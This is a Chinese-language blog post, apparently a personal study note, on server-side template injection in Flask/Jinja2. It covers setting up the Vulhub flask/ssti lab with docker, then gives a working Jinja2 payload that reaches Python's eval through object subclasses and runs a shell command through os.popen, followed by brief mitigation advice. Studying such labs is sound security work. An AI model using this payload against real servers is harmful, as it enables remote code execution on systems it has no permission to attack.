Flask(Jinja2) 服务端模板注入漏洞

陪你走过那山高水长

陪你一起生长

周末拈来一本书,刚好看到之前学习的Flask,今天刚好来学习下服务器模板注入(SSTI),来记录一下:

0x00 漏洞介绍

服务端模板注入(SSTI):服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,若用户插入了相关恶意内容,结果可能导致了敏感信息泄露、代码执行、GetShell 等问题,所以永远不要相信用户输入。

Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates enables Server-Side Template Injection, a frequently critical vulnerability that is extremely easy to mistake for Cross-Site Scripting (XSS), or miss entirely. Unlike XSS, Template Injection can be used to directly attack web servers’ internals and often obtain Remote Code Execution (RCE), turning every vulnerable application into a potential pivot point.[from us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp]

0x01 环境搭建

Vulhub简直不要太方便了

在ubuntu16.04下安装docker/docker-compose:

1
2
3
4
5
6
7
8
9
10
11
# 安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3

# 安装最新版docker
curl -s https://get.docker.com/ | sh

# 启动docker服务
service docker start

# 安装compose
pip install docker-compose
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master

# 进入某一个漏洞/环境的目录
cd flask/ssti

# 自动化编译环境
docker-compose build

# 启动整个环境
docker-compose up -d

#测试完成后,删除整个环境

docker-compose down -v

0x02 漏洞复现

搭建环境完成后,访问http://your-ip/?name=66,得到66,说明SSTI漏洞存在。

在这种漏洞下,我们可以获取到inja2中可以获取的数据,jinja2设计被运行在沙箱中,来以保证安全,若我们能逃逸jinja2的沙箱,那么我们就可以实现命令执行让对方服务器运行我们指定的恶意代码,以达到getshell或者文件读取的目的。

沙箱逃逸部分有时间补上!

接下来获取eval函数并执行任意python代码。[poc来自github]

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

0x03 防范与总结

  • 始终不要相信用户输入,将用户输入传递到模板当中,或者对输入的数据进行过滤与转义

  • 将模板内容与view代码分离

  • 最好把模板和参数分离

0x04 参考

[1]https://github.com/vulhub/vulhub/tree/master/flask/ssti

[2]https://www.smi1e.top/flask-jinja2-ssti-%E5%AD%A6%E4%B9%A0/

[3]https://www.kingkk.com/2018/06/Flask-Jinja2-SSTI-python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/